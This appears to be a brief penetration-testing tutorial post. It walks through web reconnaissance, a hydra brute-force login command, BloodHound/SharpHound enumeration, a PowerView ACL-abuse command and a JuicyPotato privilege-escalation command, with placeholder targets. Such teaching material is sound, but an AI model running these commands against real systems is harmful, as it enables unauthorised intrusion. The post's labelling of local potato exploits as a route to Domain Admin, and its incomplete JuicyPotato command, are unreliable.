Listen to this Post
You Should Know:
In this article, we explore a scenario where a misconfigured web application and weakly protected credentials led to initial access, followed by privilege escalation within Active Directory (AD) by exploiting misconfigured permissions. Below are some practical steps, commands, and codes to understand and replicate such scenarios in a controlled environment.
Initial Access via Misconfigured Web Application
1. Reconnaissance:
- Use `nmap` to scan the target machine:
nmap -sV -sC -oA scan_results <target_ip>
- Identify open ports and services running on the machine.
2. Exploiting Misconfigurations:
- If a web application is found, use tools like `dirb` or `gobuster` to enumerate directories:
gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt
- Look for common misconfigurations such as exposed admin panels or default credentials.
3. Gaining Initial Access:
- If weak credentials are found, use them to log in:
hydra -l admin -P /path/to/passwords.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
Privilege Escalation in Active Directory
1. Enumerating AD:
- Use `BloodHound` to map out AD relationships and identify misconfigured permissions.
- Run `SharpHound` to collect data:
.\SharpHound.exe -c All
- Import the collected data into BloodHound for analysis.
2. Exploiting Misconfigured Permissions:
- Identify users with excessive permissions, such as `GenericAll` or
WriteDacl. - Use `PowerView` to exploit these permissions:
Add-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "AttackerUser" -Rights All
- Alternatively, use `Impacket` tools like `ntlmrelayx` to relay NTLM credentials and gain higher privileges.
3. Gaining Domain Admin:
- If you have
SeImpersonatePrivilege, use tools like `JuicyPotato` or `PrintSpoofer` to escalate privileges:.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337
Practice Commands:
- Linux:
nmap -sV -sC -oA scan_results <target_ip> gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt hydra -l admin -P /path/to/passwords.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
-
Windows:
.\SharpHound.exe -c All Add-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "AttackerUser" -Rights All .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337
What Undercode Say:
Misconfigured web applications and weakly protected credentials are common entry points in penetration testing. Once inside, exploiting misconfigured permissions in Active Directory can lead to full domain compromise. Tools like nmap, gobuster, BloodHound, and `PowerView` are essential for identifying and exploiting these vulnerabilities. Always practice these techniques in a controlled environment to understand the risks and mitigations involved.
For further reading, check out:
References:
Reported By: Alex Linov – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
